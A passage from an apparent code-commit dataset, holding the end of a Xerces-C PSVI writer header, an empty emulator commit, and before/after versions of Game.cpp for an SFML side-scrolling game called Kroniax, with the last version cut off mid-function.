<xercesc\/framework\/psvi\/XSAttributeUse.hpp>\n#include <xercesc\/framework\/psvi\/XSComplexTypeDefinition.hpp>\n#include <xercesc\/framework\/psvi\/XSElementDeclaration.hpp>\n#include <xercesc\/framework\/psvi\/XSFacet.hpp>\n#include <xercesc\/framework\/psvi\/XSIDCDefinition.hpp>\n#include <xercesc\/framework\/psvi\/XSModel.hpp>\n#include <xercesc\/framework\/psvi\/XSModelGroup.hpp>\n#include <xercesc\/framework\/psvi\/XSModelGroupDefinition.hpp>\n#include <xercesc\/framework\/psvi\/XSMultiValueFacet.hpp>\n#include <xercesc\/framework\/psvi\/XSNamedMap.hpp>\n#include <xercesc\/framework\/psvi\/XSNamespaceItem.hpp>\n#include <xercesc\/framework\/psvi\/XSNotationDeclaration.hpp>\n#include <xercesc\/framework\/psvi\/XSParticle.hpp>\n#include <xercesc\/framework\/psvi\/XSSimpleTypeDefinition.hpp>\n#include <xercesc\/framework\/psvi\/XSTypeDefinition.hpp>\n#include <xercesc\/framework\/psvi\/XSWildcard.hpp>\n#include <xercesc\/framework\/XMLFormatter.hpp>\n#include <xercesc\/dom\/DOMElement.hpp>\n#include <xercesc\/dom\/DOMNamedNodeMap.hpp>\n#include <xercesc\/util\/ValueStackOf.hpp>\n#include <xercesc\/util\/ValueVectorOf.hpp>\n#include <xercesc\/util\/XMLEntityResolver.hpp>\n#include <xercesc\/util\/XMLResourceIdentifier.hpp>\n#include <stdlib.h>\n#include <string.h>\n\nXERCES_CPP_NAMESPACE_USE\n\n\nclass AttrInfo {\npublic:\n\tAttrInfo(const XMLCh* pUri, const XMLCh* pName, const XMLCh* pType, const XMLCh* pValue) {\n\t\turi = XMLString::replicate(pUri);\n\t\tname = XMLString::replicate(pName);\n\t\ttype = XMLString::replicate(pType);\n\t\tvalue = XMLString::replicate(pValue);\n\t}\n\t\n\t~AttrInfo() {\n\t\tXMLString::release((XMLCh**)&uri);\n\t\tXMLString::release((XMLCh**)&name);\n\t\tXMLString::release((XMLCh**)&type);\n\t\tXMLString::release((XMLCh**)&value);\n\t}\n\t\n\tconst XMLCh* getUri() const {\n\t\treturn uri;\t\n\t}\n\t\n\tconst XMLCh* getLocalName() const {\n\t\treturn name;\n\t}\n\t\n\tconst XMLCh* getType() const {\n\t\treturn type;\n\t}\n\t\t\n\tconst XMLCh* getValue() const {\n\t\treturn value;\n\t}\n\nprivate:\n\tconst XMLCh* uri;\n\tconst XMLCh* name;\n\tconst XMLCh* type;\n\tconst XMLCh* value;\n};\n\nclass PSVIWriterHandlers : public PSVIHandler, public DefaultHandler, public XMLEntityResolver {\npublic:\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Constructors and Destructor\n    \/\/ -----------------------------------------------------------------------\n    PSVIWriterHandlers(XMLFormatter* outputFormatter, XMLFormatter* errorFormatter = NULL);\n    ~PSVIWriterHandlers();\n    \n    \/\/ -----------------------------------------------------------------------\n    \/\/  Convenience Utility\n    \/\/ -----------------------------------------------------------------------\n\tvoid resetPSVIFormatter(XMLFormatter* outputFormatter);\n    void resetDocument();\n\t\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Handlers for the SAX ContentHandler interface\n    \/\/ -----------------------------------------------------------------------\n    void startElement(const XMLCh* const uri, const XMLCh* const localname, const XMLCh* const qname, const Attributes& attrs);\n    void endElement(const XMLCh* const uri, const XMLCh* const localname, const XMLCh* const qname);\n    void startDocument();\n    void endDocument();\n    void characters(const XMLCh* const chars, const unsigned int length);\n    void ignorableWhitespace(const XMLCh* const chars, const unsigned int length);\n    void comment(const XMLCh* const chars, const unsigned int length);\n    void processingInstruction(const XMLCh* const target, const XMLCh* const data);\n    void startPrefixMapping(const XMLCh* const prefix, const XMLCh* const uri);\n    void endPrefixMapping(const XMLCh* const prefix);\n    InputSource* resolveEntity(XMLResourceIdentifier* resourceIdentifier);\n\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Handlers for the SAX ErrorHandler interface\n    \/\/ -----------------------------------------------------------------------\n\tvoid warning(const SAXParseException& exception);\n    void error(const SAXParseException& exception);\n    void fatalError(const SAXParseException& exception);\n    void resetErrors();\n    \n    \/\/ -----------------------------------------------------------------------\n    \/\/  Handlers for the PSVIHandler interface\n    \/\/ -----------------------------------------------------------------------\n\t\n\tvoid handleAttributesPSVI( const XMLCh* const localName, \n\t\t\t\t\t\t\t\tconst XMLCh* const uri, \n\t\t\t\t\t\t\t\tPSVIAttributeList* psviAttributes );\n\tvoid handleElementPSVI(\tconst XMLCh* const localName, \n                                const XMLCh* const uri,\n                                PSVIElement* elementInfo );\n\tvoid handlePartialElementPSVI( const XMLCh* const localName, \n                                   const XMLCh* const uri,\n                                   PSVIElement* elementInfo ) {};\nprivate:\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Private methods\n    \/\/ -----------------------------------------------------------------------\n\n    void processAttributes(PSVIAttributeList* psviAttributes, const RefVectorOf<AttrInfo>* attributesInfo);\n    void processNamespaceAttributes(PSVIAttributeList* psviAttributes, const RefVectorOf<AttrInfo>* attributes);\n    void processAttributePSVI(PSVIAttribute* attribute);\n    void processInScopeNamespaces();\n    void processActualValue(PSVIItem*);\n    void formDateTime(XSValue*);\n\n    void processSchemaInformation(XSModel* model);\n    void processNamespaceItem(XSNamespaceItem* namespaceItem);\n    void processSchemaComponents(XSNamespaceItem* namespaceItem);\n    void processSchemaDocuments(XSNamespaceItem* namespaceItem);\n    void processSchemaAnnotations(XSAnnotationList* annotations);\n    void processSchemaErrorCode(StringList* errors);\n    \n    void processTypeDefinition(XSTypeDefinition* type);\n    void processComplexTypeDefinition(XSComplexTypeDefinition* complexType);\n    void processSimpleTypeDefinition(XSSimpleTypeDefinition* simpleType);\n    void processModelGroupDefinition(XSModelGroupDefinition* modelGroup);\n    void processAttributeGroupDefinition(XSAttributeGroupDefinition* attributeGroup);\n    \n    void processElementDeclaration(XSElementDeclaration* element);\n    void processAttributeDeclaration(XSAttributeDeclaration* attribute);\n    void processNotationDeclaration(XSNotationDeclaration* notation);\n    \n    void processAnnotations(XSAnnotationList* annotations);\n    void processAttributeUses(XSAttributeUseList* attributeUses);\n    void processFacets(XSFacetList* facets, XSMultiValueFacetList* multiFacets);\n    void processFundamentalFacets(XSSimpleTypeDefinition* facets);\n    void processMemberTypeDefinitions(XSSimpleTypeDefinitionList* memberTypes);\n    \n    void processAnnotation(XSAnnotation* annotation);\n    void processDOMElement(const XMLCh* const encloseName, DOMElement* rootElem, const XMLCh* const elementName);\n    void processDOMAttributes(DOMNamedNodeMap* attrs);\n    void processWildcard(XSWildcard* wildcard);\n    void processModelGroup(XSModelGroup* modelGroup);\n    void processParticle(XSParticle* particle);\n    \n    void processAttributeWildcard(XSWildcard* wildcard);\n    void processScope(XSComplexTypeDefinition* enclosingCTD, short scope);\n    void processValueConstraint(XSConstants::VALUE_CONSTRAINT ConstraintType, const XMLCh* constraintValue);\n    \n    void processIdentityConstraintDefinition(XSNamedMap<XSIDCDefinition>* identityConstraint);\n    void processFields(StringList* fields);\n    void processXPath(const XMLCh* xpath);\n    \n    void processChildren();\n    void processChildrenEnd();\n    \n    void processTypeDefinitionOrRef(const XMLCh* enclose, XSTypeDefinition* type);\n\tvoid processSimpleTypeDefinitionOrRef(XSSimpleTypeDefinition* type);\n    void processAttributeDeclarationOrRef(XSAttributeDeclaration* attrDecl);\n    void processElementDeclarationOrRef(XSElementDeclaration* elemDecl);\n\tvoid processTypeDefinitionRef(const XMLCh* enclose, XSTypeDefinition* type);\n    void processAttributeDeclarationRef(const XMLCh* enclose, XSAttributeDeclaration* attrDecl);\n    void processElementDeclarationRef(const XMLCh* enclose, XSElementDeclaration* elemDecl);\n    void sendReference(const XMLCh* elementName, XSObject* obj);\n    \n    void sendElementEmpty(const XMLCh* elementName);\n\tvoid sendElementValueInt(const XMLCh* elementName, const int value);\n    void sendElementValue(const XMLCh* elementName, const XMLCh* const value);\n    void sendElementValueList(const XMLCh* const elementName, const StringList* const values);\n\n\tvoid sendIndentedElement(const XMLCh* elementName);\n    void sendIndentedElementWithID(const XMLCh* elementName, XSObject* obj);\t\/\/adds the ID to the attribute list before sending\n    void sendUnindentedElement(const XMLCh* elementName);\n    \n    void writeOpen(const XMLCh* const elementName);\n\tvoid writeOpen(const XMLCh* const elementName, const StringList* const attrs);\n\tvoid writeClose(const XMLCh* const elementName);\n\tvoid writeValue(const XMLCh* const elementName, const XMLCh* const value);\n\tvoid writeValue(const XMLCh* const elementName, const StringList* const values);\n\tvoid writeEmpty(const XMLCh* const elementName, const StringList* const attrs);\n\tvoid writeEmpty(const XMLCh* const elementName);\n    void writeString(const XMLCh* const string);\n\n    const XMLCh* translateScope(XSConstants::SCOPE scope);\n    const XMLCh* translateValueConstraint(XSConstants::VALUE_CONSTRAINT constraintKind);\n    const XMLCh* translateBlockOrFinal(short val);\n    const XMLCh* translateDerivationMethod(XSConstants::DERIVATION_TYPE derivation);\n    const XMLCh* translateProcessContents(XSWildcard::PROCESS_CONTENTS processContents);\n    const XMLCh* translateCompositor(XSModelGroup::COMPOSITOR_TYPE compositor);\n    const XMLCh* translateValidity(PSVIItem::VALIDITY_STATE validity);\n    const XMLCh* translateValidationAttempted(PSVIItem::ASSESSMENT_TYPE validation);\n    const XMLCh* translateIdConstraintCategory(XSIDCDefinition::IC_CATEGORY category);\n    const XMLCh* translateComplexContentType(XSComplexTypeDefinition::CONTENT_TYPE contentType);\n    const XMLCh* translateSimpleTypeVariety(XSSimpleTypeDefinition::VARIETY variety);\n    const XMLCh* translateOrderedFacet(XSSimpleTypeDefinition::ORDERING ordered);\n    const XMLCh* translateFacet(XSSimpleTypeDefinition::FACET facetKind);\n    const XMLCh* translateComponentType(XSConstants::COMPONENT_TYPE type);\n    const XMLCh* translateBool(bool flag);\n    \n    XMLCh* createID(XSObject* obj);\n    const XMLCh* getIdName(XSObject* obj);\n    void incIndent();\n    void decIndent();\n    \nprotected:    \n\tXMLFormatter* fFormatter;\n\tXMLFormatter* fErrorFormatter;\n\t\n\tStringList* fAttrList;\n    XMLCh* fTempResult;\n    XMLCh* fIndentChars;\n    XMLCh* fBaseUri;\n    \n    unsigned int fIndent;\n    unsigned int fIndentCap;\n    unsigned int fAnonNum;\n    \n\tRefHashTableOf<XMLCh>* fIdMap;\n    RefVectorOf<XSObject>* fDefinedIds;\n    RefArrayVectorOf<XMLCh>* fIdNames;\n    RefArrayVectorOf<XMLCh>* fObjectLocations;\n    \n\tRefHashTableOf<XMLCh>* fPrefixMap;\n    RefArrayVectorOf<XMLCh>* fNamespaces;\n    \n\tValueVectorOf<unsigned int>* fNSAttributes;  \/\/REVISIT  dont need if NSAttrs in different object\n\tValueStackOf<bool>* fElementChildren;\n\t\t\n\tRefVectorOf<AttrInfo>* fAttributesInfo;\n};\n\n\n#endif\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>- ExtINT implemented (some progress with FreeBSD 5.3 boot cd) - fixed a warning<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"..\/..\/include\/game\/Game.hpp\"\n#include \"..\/..\/include\/game\/Level.hpp\"\n#include \"..\/..\/include\/game\/Settings.hpp\"\n#include \"..\/..\/include\/game\/DialogScreen.hpp\"\n#include \"..\/..\/include\/game\/HighscoreUploader.hpp\"\n#include \"..\/..\/include\/game\/HighscoreBoard.hpp\"\n#include \"..\/..\/include\/game\/Tracer.hpp\"\n#include \"..\/..\/include\/aw\/utilities\/Converter.hpp\"\n\n\n#include <SFML\/Window\/Event.hpp>\n#include <SFML\/Window\/Keyboard.hpp>\n#include <SFML\/Graphics\/RenderWindow.hpp>\n#include <SFML\/Graphics\/Color.hpp>\n#include <SFML\/Graphics\/RectangleShape.hpp>\n\n#include <cmath> \/\/ sqrt\n\nGame::Game(sf::RenderWindow &window) : m_window(window)\n{\n    m_pLevel = nullptr;\n\n    m_position = sf::Vector2f(100,100);\n    m_lastFrameTime = 0;\n\n    m_running = true;\n    m_returnValue = \"menu\";\n}\n\nGame::~Game()\n{\n    if(m_pLevel)\n        delete m_pLevel;\n\n    m_pLevel = nullptr;\n}\n\nstd::string Game::Run(std::string levelName, Tracer &currentTracer, Tracer &lastTracer)\n{\n    m_levelName = levelName;\n\n    Init();\n\n    m_gameTime.restart();\n\n    SetWindowName();\n\n    if(settings::IsMusicOn())\n    {\n        m_music.setVolume(settings::GetMusicVolume());\n        m_music.play();\n    }\n\n    bool start = false;\n\n    while(m_window.isOpen() && m_running && !start)\n    {\n        sf::Event e;\n\n        while(m_window.pollEvent(e))\n        {\n            switch(e.type)\n            {\n            case sf::Event::Closed:\n                m_running = false;\n                m_returnValue = \"exit\";\n                break;\n            case sf::Event::KeyPressed:\n                start = true;\n                break;\n            default:\n                break;\n            }\n        }\n\n        m_window.clear();\n\n        m_pLevel->Draw(m_view.getCenter().x);\n\n        sf::RectangleShape fade;\n        fade.setSize(sf::Vector2f(m_window.getSize().x, m_window.getSize().y));\n        fade.setFillColor(sf::Color(0,0,0,180));\n\n        sf::Text temp;\n        temp.setFont(m_font);\n        temp.setString(\"Press any key to start the game!\");\n        temp.setPosition(60, 175);\n        temp.setCharacterSize(25);\n\n        m_window.draw(fade);\n        m_window.draw(temp);\n\n        m_window.display();\n    }\n\n    m_frameTime.restart();\n    m_gameTime.restart();\n\n    while(m_window.isOpen() && m_running)\n    {\n        HandleEvents();\n\n        DoLogic(currentTracer);\n\n        if(m_pLevel->GetFinished())\n            Finish();\n\n        Draw(currentTracer, lastTracer);\n\n        SetWindowName();\n    }\n\n    m_window.setTitle(\"Kroniax\");\n\n    return m_returnValue;\n}\n\nvoid Game::HandleEvents()\n{\n    sf::Event e;\n\n    while(m_window.pollEvent(e))\n    {\n        if(e.type == sf::Event::Closed)\n            m_window.close();\n\n        if(e.type == sf::Event::KeyPressed && e.key.code == sf::Keyboard::Escape)\n            m_running = false;\n\n        if(e.type == sf::Event::KeyPressed && e.key.code == sf::Keyboard::P)\n        {\n            PauseTheGame();\n        }\n\n        if(e.type == sf::Event::Resized)\n        {\n            int width = e.size.width;\n            int height = width \/ 16 * 9;\n            m_window.setSize(sf::Vector2u(width, height));\n\n            PauseTheGame();\n        }\n\n        if(e.type == sf::Event::KeyPressed && (e.key.code == sf::Keyboard::LAlt || e.key.code == sf::Keyboard::RAlt || e.key.code == sf::Keyboard::Home))\n        {\n            PauseTheGame();\n        }\n\n        if(e.type == sf::Event::LostFocus)\n        {\n            PauseTheGame();\n        }\n\n    }\n\n    if(settings::GetGamemode() == 1)\n    {\n        if(settings::GetSpeedX() < 750)\n        {\n            if(sf::Keyboard::isKeyPressed(sf::Keyboard::Right))\n            {\n                settings::SetSpeedX(settings::GetSpeedX() + (150*m_lastFrameTime));\n            }\n        }\n\n        if(settings::GetSpeedX() > -750)\n        {\n            if(sf::Keyboard::isKeyPressed(sf::Keyboard::Left))\n            {\n                settings::SetSpeedX(settings::GetSpeedX() - (150*m_lastFrameTime));\n\n            }\n        }\n    }\n\n\n}\n\n\n\nvoid Game::DoLogic(Tracer &currentTracer)\n{\n\n    m_pLevel->CheckForScripts(m_position.x+20);\n\n    if(sf::Keyboard::isKeyPressed(sf::Keyboard::Space))\n    {\n        float newValue = settings::GetSpeedY() - (2.3f*settings::GetDownforce() * m_lastFrameTime);\n        settings::SetSpeedY(newValue);\n    }\n\n    settings::SetSpeedY(settings::GetSpeedY() + settings::GetDownforce()*m_lastFrameTime);\n\n    m_position.x += settings::GetSpeedX() * m_lastFrameTime;\n    m_position.y += settings::GetSpeedY() * m_lastFrameTime;\n\n    m_viewPositionFloat = sf::Vector2f(m_viewPositionFloat.x + (settings::GetSpeedX() * m_lastFrameTime), m_viewPositionFloat.y);\n    m_view.setCenter(static_cast<int>(m_viewPositionFloat.x), m_viewPositionFloat.y);\n\n    \/\/m_view.setCenter(m_viewPositionFloat);\n    m_window.setView(m_view);\n\n\n\n    \/\/Time things\n    m_time.setPosition(5,5);\n    m_speedX.setPosition(150,5);\n    if(m_running)\n    {\n        m_time.setString(\"Time: \"+aw::conv::ToString(aw::conv::ToInt(m_gameTime.GetTimeInMs()\/1000.f)));\n        m_speedX.setString(\"SpeedX: \" + aw::conv::ToString(aw::conv::ToInt(settings::GetSpeedX())));\n    }\n\n\n    \/\/ Check if there current Tracer need an update\n    \/\/ Multiply with 1000 because this function need milliseconds and not seconds\n    if(currentTracer.Update(m_lastFrameTime*1000))\n    {\n        bool steerUp = sf::Keyboard::isKeyPressed(sf::Keyboard::Space);\n\n        bool speedUp   = false;\n        bool speedDown = false;\n        \/\/Only check for speedUps and Downs if the gamemode is Speed Challenge\n        if(settings::GetGamemode() == 1)\n        {\n            speedUp = sf::Keyboard::isKeyPressed(sf::Keyboard::Right);\n            speedDown = sf::Keyboard::isKeyPressed(sf::Keyboard::Left);\n        }\n\n        currentTracer.AddPoint(m_position, steerUp, speedUp, speedDown);\n    }\n\n}\n\nvoid Game::Draw(Tracer &currentTracer, Tracer &lastTracer)\n{\n    m_window.clear(sf::Color::Black);\n\n    m_pLevel->Draw(m_view.getCenter().x);\n\n    \/\/Draw the tracerlines\n    lastTracer.Draw(m_window);\n    currentTracer.Draw(m_window);\n\n\n    CreateBody();\n    m_window.draw(m_body, 3, sf::Triangles);\n\n    m_window.setView(m_window.getDefaultView());\n\n    m_window.draw(m_time);\n\n    if(settings::GetGamemode() == 1)\n    {\n        m_window.draw(m_speedX);\n    }\n    m_window.display();\n\n    \/\/Collision\n    if(m_pLevel->Collide(m_view.getCenter().x, sf::Vector2i(m_body[0].position.x, m_body[0].position.y),\n                              sf::Vector2i(m_body[1].position.x, m_body[1].position.y),\n                              sf::Vector2i(m_body[2].position.x, m_body[2].position.y)))\n    {\n        if(db::DialogYesNo(m_window, \"You hit the wall!\\nDo you want to restart this level?\"))\n        {\n            m_returnValue = \"restart\";\n            m_running = false;\n        }\n        else\n        {\n            m_returnValue = \"menu\";\n            m_running = false;\n        }\n    }\n\n\n    m_lastFrameTime = m_frameTime.getElapsedTime().asSeconds();\n    m_frameTime.restart();\n}\n\n\nvoid Game::Init()\n{\n    m_pLevel = new Level(m_window);\n\n    if(!m_pLevel->Load(m_levelName))\n    {\n        db::DialogYesNo(m_window , \"Couldnt load the Level!\\nMaybe name is wrong?\");\n        m_running = false;\n    }\n\n    if(settings::IsMusicOn())\n    {\n        if(settings::GetMusic() == 1)\n        {\n            m_music.openFromFile(\"data\/audio\/Galaxy - New Electro House Techno by MafiaFLairBeatz.ogg\");\n        }\n        else if(settings::GetMusic() == 2)\n        {\n            m_music.openFromFile(\"data\/audio\/Infinity - Techno Trance Project 2011 by MafiaFLairBeatz.ogg\");\n        }\n        else\n        {\n            m_music.openFromFile(\"data\/audio\/Return of the Electro by MafiaFLairBeatz.ogg\");\n        }\n    }\n\n    sf::Vector2u sizeWin = m_window.getSize();\n\n    m_view = m_window.getView();\n    m_view.setCenter(400, 225);\n    m_view.setSize(sf::Vector2f(800,450));\n    m_viewPositionFloat = m_view.getCenter();\n\n    m_window.setView(m_view);\n\n    m_window.setSize(sizeWin);\n\n    m_font.loadFromFile(\"data\/font\/good times.ttf\");\n\n    m_time.setFont(m_font);\n    m_time.setPosition(m_window.mapPixelToCoords(sf::Vector2i(5,5)));\n    m_time.setCharacterSize(12);\n    m_time.setString(\"Time: 0\");\n\n    m_speedX.setFont(m_font);\n    m_speedX.setPosition(m_window.mapPixelToCoords(sf::Vector2i(5, 40)));\n    m_speedX.setCharacterSize(12);\n    m_speedX.setString(\"SpeedX: \" + aw::conv::ToString(aw::conv::ToInt(settings::GetSpeedX())));\n\n    settings::SetSpeedX(settings::GetStartSpeedX());\n\n    CreateBody();\n}\n\n\nvoid Game::PauseTheGame()\n{\n    m_gameTime.pause();\n    db::DialogOK(m_window, \"Game Paused! Press return\/enter to continue\");\n    m_gameTime.resume();\n    m_frameTime.restart();\n}\n\n\nvoid Game::Finish()\n{\n\n    if(settings::GetGamemode() == 0)\n    {\n\n        int position = settings::GetUnlockedLevel() -1;\n        if(position < 0)\n            position = 0;\n\n        if(m_levelName == settings::GetLevelList().at(position))\n        {\n            if(settings::IncreaseUnlockLevel())\n            {\n                db::DialogOK(m_window, \"You unlocked a new Map!\");\n            }\n        }\n\n\n\n        db::DialogOK(m_window, \"Congratulation, you completed\\nthis Level!\");\n\n        m_running = false;\n        m_returnValue = \"win\";\n    }\n\n    else if(settings::GetGamemode() == 1)\n    {\n        m_gameTime.pause();\n\n        if(db::DialogYesNo(m_window, \"Do you want to upload your time?\\nInternetconnection is needed\"))\n        {\n            HighscoreUploader uploader;\n\n\n\n            std::string name = db::InputDialog(m_window, \"Please insert your name: \", \"guest\");\n\n            \/\/Return false = The connection failed\n            if(!uploader.Submit(m_levelName, name, m_pLevel->GetLevelLength(), m_pLevel->GetFilledBlocks(), m_pLevel->GetCollisionBlocks(), m_gameTime.GetTimeInMs()))\n            {\n                \/\/ Give the user feedback about the failed Connection\n                db::DialogOK(m_window, uploader.GetError());\n            }\n            else\n            {\n                \/\/If the connection works get the Highscore\n                std::vector<Score> &temp = uploader.GetScore();\n                \/\/ And display them\n                ListHighscore(m_window, m_levelName, temp);\n            }\n\n            if(db::DialogYesNo(m_window, \"Do you want to play this level again?\"))\n            {\n                m_returnValue = \"restart\";\n            }\n            else\n            {\n                m_returnValue = \"win\";\n            }\n            m_running = false;\n        }\n    }\n\n}\n\nvoid Game::CreateBody()\n{\n    float height = 7;\n    float width  = 25;\n\n    sf::Vector2f dVec; \/\/ unitVector of v\n    double magSpeed = std::sqrt((settings::GetSpeedX() * settings::GetSpeedX()) + (settings::GetSpeedY() * settings::GetSpeedY()));\n    dVec.x = settings::GetSpeedX() \/ magSpeed;\n    dVec.y = settings::GetSpeedY() \/ magSpeed;\n\n    m_body[2] = sf::Vertex(sf::Vector2f(m_position.x + (width * dVec.x), m_position.y + (width * dVec.y)), sf::Color(255,255,255)); \/\/ Right\n\n    \/\/ normal Vector from the unint V vector\n    sf::Vector2f dnVec;\n    dnVec.x = dVec.y;\n    dnVec.y = -dVec.x;\n\n    m_body[0] = sf::Vertex(sf::Vector2f(m_position.x + height * dnVec.x, m_position.y + height * dnVec.y), sf::Color(255,255,255)); \/\/ Left Bot\n    m_body[1] = sf::Vertex(sf::Vector2f(m_position.x - height * dnVec.x, m_position.y - height * dnVec.y), sf::Color(255,255,255)); \/\/ Left Top\n\n}\n\n\nvoid Game::SetWindowName()\n{\n    float progress = m_position.x \/ (m_pLevel->GetLevelLength()*m_pLevel->GetTileSize().x);\n    int iProgress = static_cast<int>(progress*10);\n\n    int i = 0;\n    std::string title = m_levelName+ \"Progress: \";\n\n    while(i < 10)\n    {\n        if(i == iProgress)\n            title = title + \">\";\n        else\n            title = title + \"-\";\n\n        i++;\n    }\n\n    m_window.setTitle(title);\n\n}\n<commit_msg>Bugfixes (level progress)<commit_after>#include \"..\/..\/include\/game\/Game.hpp\"\n#include \"..\/..\/include\/game\/Level.hpp\"\n#include \"..\/..\/include\/game\/Settings.hpp\"\n#include \"..\/..\/include\/game\/DialogScreen.hpp\"\n#include \"..\/..\/include\/game\/HighscoreUploader.hpp\"\n#include \"..\/..\/include\/game\/HighscoreBoard.hpp\"\n#include \"..\/..\/include\/game\/Tracer.hpp\"\n#include \"..\/..\/include\/aw\/utilities\/Converter.hpp\"\n\n\n#include <SFML\/Window\/Event.hpp>\n#include <SFML\/Window\/Keyboard.hpp>\n#include <SFML\/Graphics\/RenderWindow.hpp>\n#include <SFML\/Graphics\/Color.hpp>\n#include <SFML\/Graphics\/RectangleShape.hpp>\n\n#include <cmath> \/\/ sqrt\n\nGame::Game(sf::RenderWindow &window) : m_window(window)\n{\n    m_pLevel = nullptr;\n\n    m_position = sf::Vector2f(100,100);\n    m_lastFrameTime = 0;\n\n    m_running = true;\n    m_returnValue = \"menu\";\n}\n\nGame::~Game()\n{\n    if(m_pLevel)\n        delete m_pLevel;\n\n    m_pLevel = nullptr;\n}\n\nstd::string Game::Run(std::string levelName, Tracer &currentTracer, Tracer &lastTracer)\n{\n    m_levelName = levelName;\n\n    Init();\n\n    m_gameTime.restart();\n\n    SetWindowName();\n\n    if(settings::IsMusicOn())\n    {\n        m_music.setVolume(settings::GetMusicVolume());\n        m_music.play();\n    }\n\n    bool start = false;\n\n    while(m_window.isOpen() && m_running && !start)\n    {\n        sf::Event e;\n\n        while(m_window.pollEvent(e))\n        {\n            switch(e.type)\n            {\n            case sf::Event::Closed:\n                m_running = false;\n                m_returnValue = \"exit\";\n                break;\n            case sf::Event::KeyPressed:\n                start = true;\n                break;\n            default:\n                break;\n            }\n        }\n\n        m_window.clear();\n\n        m_pLevel->Draw(m_view.getCenter().x);\n\n        sf::RectangleShape fade;\n        fade.setSize(sf::Vector2f(m_window.getSize().x, m_window.getSize().y));\n        fade.setFillColor(sf::Color(0,0,0,180));\n\n        sf::Text temp;\n        temp.setFont(m_font);\n        temp.setString(\"Press any key to start the game!\");\n        temp.setPosition(60, 175);\n        temp.setCharacterSize(25);\n\n        m_window.draw(fade);\n        m_window.draw(temp);\n\n        m_window.display();\n    }\n\n    m_frameTime.restart();\n    m_gameTime.restart();\n\n    while(m_window.isOpen() && m_running)\n    {\n        HandleEvents();\n\n        DoLogic(currentTracer);\n\n        if(m_pLevel->GetFinished())\n            Finish();\n\n        Draw(currentTracer, lastTracer);\n\n        SetWindowName();\n    }\n\n    m_window.setTitle(\"Kroniax\");\n\n    return m_returnValue;\n}\n\nvoid Game::HandleEvents()\n{\n    sf::Event e;\n\n    while(m_window.pollEvent(e))\n    {\n        if(e.type == sf::Event::Closed)\n            m_window.close();\n\n        if(e.type == sf::Event::KeyPressed && e.key.code == sf::Keyboard::Escape)\n            m_running = false;\n\n        if(e.type == sf::Event::KeyPressed && e.key.code == sf::Keyboard::P)\n        {\n            PauseTheGame();\n        }\n\n        if(e.type == sf::Event::Resized)\n        {\n            int width = e.size.width;\n            int height = width \/ 16 * 9;\n            m_window.setSize(sf::Vector2u(width, height));\n\n            PauseTheGame();\n        }\n\n        if(e.type == sf::Event::KeyPressed && (e.key.code == sf::Keyboard::LAlt || e.key.code == sf::Keyboard::RAlt || e.key.code == sf::Keyboard::Home))\n        {\n            PauseTheGame();\n        }\n\n        if(e.type == sf::Event::LostFocus)\n        {\n            PauseTheGame();\n        }\n\n    }\n\n    if(settings::GetGamemode() == 1)\n    {\n        if(settings::GetSpeedX() < 750)\n        {\n            if(sf::Keyboard::isKeyPressed(sf::Keyboard::Right))\n            {\n                settings::SetSpeedX(settings::GetSpeedX() + (150*m_lastFrameTime));\n            }\n        }\n\n        if(settings::GetSpeedX() > -750)\n        {\n            if(sf::Keyboard::isKeyPressed(sf::Keyboard::Left))\n            {\n                settings::SetSpeedX(settings::GetSpeedX() - (150*m_lastFrameTime));\n\n            }\n        }\n    }\n\n\n}\n\n\n\nvoid Game::DoLogic(Tracer &currentTracer)\n{\n\n    m_pLevel->CheckForScripts(m_position.x+20);\n\n    if(sf::Keyboard::isKeyPressed(sf::Keyboard::Space))\n    {\n        float newValue = settings::GetSpeedY() - (2.3f*settings::GetDownforce() * m_lastFrameTime);\n        settings::SetSpeedY(newValue);\n    }\n\n    settings::SetSpeedY(settings::GetSpeedY() + settings::GetDownforce()*m_lastFrameTime);\n\n    m_position.x += settings::GetSpeedX() * m_lastFrameTime;\n    m_position.y += settings::GetSpeedY() * m_lastFrameTime;\n\n    m_viewPositionFloat = sf::Vector2f(m_viewPositionFloat.x + (settings::GetSpeedX() * m_lastFrameTime), m_viewPositionFloat.y);\n    m_view.setCenter(static_cast<int>(m_viewPositionFloat.x), m_viewPositionFloat.y);\n\n    \/\/m_view.setCenter(m_viewPositionFloat);\n    m_window.setView(m_view);\n\n\n\n    \/\/Time things\n    m_time.setPosition(5,5);\n    m_speedX.setPosition(150,5);\n    if(m_running)\n    {\n        m_time.setString(\"Time: \"+aw::conv::ToString(aw::conv::ToInt(m_gameTime.GetTimeInMs()\/1000.f)));\n        m_speedX.setString(\"SpeedX: \" + aw::conv::ToString(aw::conv::ToInt(settings::GetSpeedX())));\n    }\n\n\n    \/\/ Check if there current Tracer need an update\n    \/\/ Multiply with 1000 because this function need milliseconds and not seconds\n    if(currentTracer.Update(m_lastFrameTime*1000))\n    {\n        bool steerUp = sf::Keyboard::isKeyPressed(sf::Keyboard::Space);\n\n        bool speedUp   = false;\n        bool speedDown = false;\n        \/\/Only check for speedUps and Downs if the gamemode is Speed Challenge\n        if(settings::GetGamemode() == 1)\n        {\n            speedUp = sf::Keyboard::isKeyPressed(sf::Keyboard::Right);\n            speedDown = sf::Keyboard::isKeyPressed(sf::Keyboard::Left);\n        }\n\n        currentTracer.AddPoint(m_position, steerUp, speedUp, speedDown);\n    }\n\n}\n\nvoid Game::Draw(Tracer &currentTracer, Tracer &lastTracer)\n{\n    m_window.clear(sf::Color::Black);\n\n    m_pLevel->Draw(m_view.getCenter().x);\n\n    \/\/Draw the tracerlines\n    lastTracer.Draw(m_window);\n    currentTracer.Draw(m_window);\n\n\n    CreateBody();\n    m_window.draw(m_body, 3, sf::Triangles);\n\n    m_window.setView(m_window.getDefaultView());\n\n    m_window.draw(m_time);\n\n    if(settings::GetGamemode() == 1)\n    {\n        m_window.draw(m_speedX);\n    }\n    m_window.display();\n\n    \/\/Collision\n    if(m_pLevel->Collide(m_view.getCenter().x, sf::Vector2i(m_body[0].position.x, m_body[0].position.y),\n                              sf::Vector2i(m_body[1].position.x, m_body[1].position.y),\n                              sf::Vector2i(m_body[2].position.x, m_body[2].position.y)))\n    {\n        if(db::DialogYesNo(m_window, \"You hit the wall!\\nDo you want to restart this level?\"))\n        {\n            m_returnValue = \"restart\";\n            m_running = false;\n        }\n        else\n        {\n            m_returnValue = \"menu\";\n            